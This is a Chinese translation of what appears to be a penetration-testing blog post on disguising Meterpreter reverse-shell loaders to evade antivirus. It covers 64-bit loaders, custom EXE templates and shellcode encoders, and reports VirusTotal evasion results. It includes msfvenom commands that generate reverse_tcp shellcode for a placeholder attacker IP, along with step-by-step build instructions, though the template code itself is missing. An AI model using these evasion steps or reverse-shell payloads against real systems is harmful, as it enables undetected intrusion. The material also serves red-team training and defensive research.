绕过杀毒软件的三种简单伪装技巧
警告: 本博客中引用的技术和工具可能已过时,不适用于当前情况。然而,这篇博客仍可作为学习机会,并可能更新或集成到现代工具和技术中。
自20世纪90年代以来,杀毒软件一直是防御计算机系统的关键组成部分。多年来,杀毒软件开始主导PC安全讨论,其他手段逐渐被边缘化。诸如Symantec和McAfee等品牌名称不断争夺业务,各自声称拥有奇迹般的解决方案。
尽管你可能听到什么,让我向你保证,杀毒软件已经死了。原因如下:
规避杀毒软件非常简单
首先,检测恶意代码很难。迄今为止,没有人能回答这个问题:这段代码会毁掉我的一天吗?然而,我们已经找到了如何回答这个问题:这段代码看起来像毁掉别人一天的东西吗?
如果我们想避免检测,我们只需要在发送代码之前给它加上胡子和单片眼镜。
他们永远不会看到我来
伪装恶意代码可以通过几种技术实现,但在我们看看什么构成好的伪装之前,让我们讨论一下恶意代码通常是什么样子。
外行人对Meterpreter的解释
根据Offensive Security的说法,“Meterpreter是一种高级、动态可扩展的有效载荷,使用内存中的DLL注入加载器,并在运行时通过网络扩展。它通过加载器套接字通信,并提供全面的客户端Ruby API。它具有命令历史、选项卡完成、通道等功能。”
更简单地说,“Meterpreter是一段可以在运行时加载更多代码的代码。它可以使用不同的方法与服务器通信,并且客户端可以被其他程序员扩展。”因此,攻击者经常使用Meterpreter来控制目标机器,并且由于该程序易于扩展,Meterpreter可以发起从键盘记录器到权限提升的一系列攻击。
Meterpreter vs. 杀毒软件。战斗!
虽然杀毒软件可以检测Meterpreter,但该程序背后的架构使其极难捕获。
通常,Meterpreter将由“加载器”启动。加载器的任务是在目标计算机和攻击者服务器之间建立通信。此外,它需要开始加载Meterpreter客户端的其余部分。由于这种逐段架构,只需要在目标计算机上部署加载器,程序就可以运行。由于Meterpreter的其余部分可以从内存启动,只有加载器需要偷偷绕过AV。
Shellcode
可以使用几种技术在目标计算机上部署Meterpreter加载器。每种技术的核心是“shellcode”。对于Meterpreter加载器,shellcode是实际实现加载器目标的机器代码:建立通信并启动Meterpreter的其余部分。
Shell code在我们网站上先前发布的几篇博客文章中都有使用。
在Brian的优秀帖子“如何绕过应用程序白名单和AV”中,他使用以下命令生成可以在C#编程语言中执行的shellcode:
“msfvenom -p windows/meterpreter/reverse_tcp lhost=YOUR_IP lport=443 -f csharp > shellcode.txt”
此命令将以下混乱内容写入名为shellcode.txt的文件。
Wat.
我们看到的是与创建Meterpreter加载器所需的机器代码对应的十六进制数字列表。具体来说,此加载器在TCP端口443上连接回攻击者的机器,并开始加载Meterpreter客户端的其余部分。
识别此shellcode是杀毒产品识别恶意类似程序的一种方式。
模板
虽然每个人都喜欢谈论shellcode,但创建Meterpreter加载器还有更多内容。shellcode必须由某些东西执行。老式漏洞利用通过将shellcode加载到易受攻击的程序中并强制程序执行它来工作。在网络钓鱼的情况下,shellcode可以嵌入VBA宏中,并在Microsoft Word、Excel和PowerPoint文档中运行。(查看Sally关于在PowerPoint中规避AV的精彩帖子。)
在最简单的情况下,shellcode被放置在预制的模板中并由自身执行。默认情况下,MSFVenom(用于生成Meterpreter加载器的最常见程序)提供自己的模板。然而,正如Joff先前在这里解释的那样,这些模板可以被修改!
我们为什么要修改模板?简而言之,大多数AV产品检查用于执行shellcode的模板,而不是shellcode本身。
现在只需给他们假胡子!
伪装
到目前为止,我们已经确定了Meterpreter加载器,并且看到它由shellcode和模板组成。现在,让我们看看可用于隐藏加载器的不同伪装。我们可以改变整个加载器的架构,修改shellcode周围的模板,或改变shellcode本身。每个更改都为伪装添加了新内容。一些更改将大大改变我们的可执行文件,其他更改只会轻微影响结果。我们将在帖子后面比较每种技术的有用性。
64位魔法
目前,Steam硬件调查显示,超过85%的用户运行64位操作系统。虽然这可能不代表商业部门,但这是64位操作系统变得越来越普遍的明确证据。
当针对64位操作系统时,我们可以选择部署32位或64位加载器。虽然32位加载器适用于任何现代Windows安装,但64位加载器更具规避性。使用64位加载器本身并没有什么 inherently sneaky,但似乎为最常见的Meterpreter加载器的64位变体编写的签名较少。
模板技巧
MSFVenom为Windows可执行文件提供两个默认模板:一个用于32位shellcode,另一个用于64位shellcode。这些模板本质上是空的.exe文件,并且对杀毒引擎来说是众所周知的。
遵循PE/COFF格式的Windows EXE文件由几个不同的部分组成,每个部分具有不同的权限。这些权限限制在运行时读取、写入或执行数据的能力。例如,包含要执行的代码的部分(.text)通常在运行时不可写。
当创建Meterpreter加载器时,MSFVenom将查看正在使用的模板的默认可执行(.text)部分,如果有足够的空间,将shellcode插入其中。否则,MSFVenom将在.exe文件中创建一个新部分,将其标记为可执行,将shellcode放在那里,并修改可执行文件以从新部分开始。
然而,我们可以选择提供自己的EXE文件供程序修改,而不是使用MSFVenom的默认模板。此技术的常见选择是每个Windows安装中包含的可执行文件,如write.exe和notepad.exe。默认情况下,模板可执行文件将不再正常功能,除非明确告诉MSFVenom在新线程中启动加载器。
自己制作模板
除了更改现有可执行文件,我们还可以选择编写自己的模板。在这种方法中,我们使用MSFVenom为我们选择的编程语言生成shellcode。(在以下示例中,我选择了C编程语言)。然后,我们将shellcode插入到自制的模板中,并告诉计算机执行代码。
分步说明:
首先,运行“msfvenom -p windows/meterpreter/reverse_tcp LHOST=<您的IP地址> LPORT=<您的监听端口> -f c > shell_code.c 2>&1”
您的shell_code.c文件应类似于此:
接下来,打开Microsoft Visual Studio。如果您无法访问Visual Studio,可以从此处选择社区版获取免费副本。
现在,创建一个新的C/C++空项目,并将以下代码添加到新文件中。
|
|
现在,将payload字符串设置为shellcode文件中buf的内容,并将size变量设置为payload大小。
最后,在Visual Studio中单击构建。
如果您希望为64位架构编译,必须使用MSFVenom生成64位shellcode,并在Visual Studio中将编译架构设置为64位。
Shellcode编码器
除了更改加载器的架构和模板,我们还可以尝试伪装shellcode本身。MSFVenom能够使用其编码器系统通过可逆密码混淆加载器的shellcode。该系统最初是为了处理正在处理的shellcode中的不安全字符而创建的。然而,在研究AV规避技术时,编码器似乎是一个常见的建议。虽然它们的功效值得商榷,但两种编码器被大量使用:用于32位shellcode的Shikata Ga Nai和用于64位shellcode的XOR编码。
多么英俊的一群
将所有内容整合在一起
既然我们已经选择了伪装,我们需要对它们进行测试。首先,我们需要选择要伪装的shellcode。Meterpreter加载器最常见的三种shellcode是reverse_tcp、reverse_http和reverse_https。接下来,我们需要确定要测试多少种不同的伪装。我们可以选择32位或64位,使用默认模板或自定义模板,或者编码shellcode或不编码。总之,这导致需要测试二十四种不同的加载器。
在生成所有二十四种加载器并确保它们工作后,我通过Virus Total运行它们并绘制了结果。
如您所见,移动到自定义模板是最有效的伪装。然而,仅仅将目标架构更改为64位就挫败了超过一半的测试AV引擎。当结合两种伪装时,我们的恶意软件溜过了每一个测试的引擎。
在32位加载器的情况下,只有一个杀毒引擎能够检测到我们 wearing all three disguises 的恶意软件:Qihoo 360。即便如此,它也只是通过启发式被识别为一般恶意软件。
AV规避超出了本文讨论的技术。例如,您可以在将shellcode组装为机器代码之前更改它,您可以使用不同的编程语言创建模板,并且您可以使用Veil规避套件的全部功能。杀毒软件仍然是蓝队工具带中有用的工具,但请注意,对于任何高级持久威胁,杀毒软件几乎已经死了。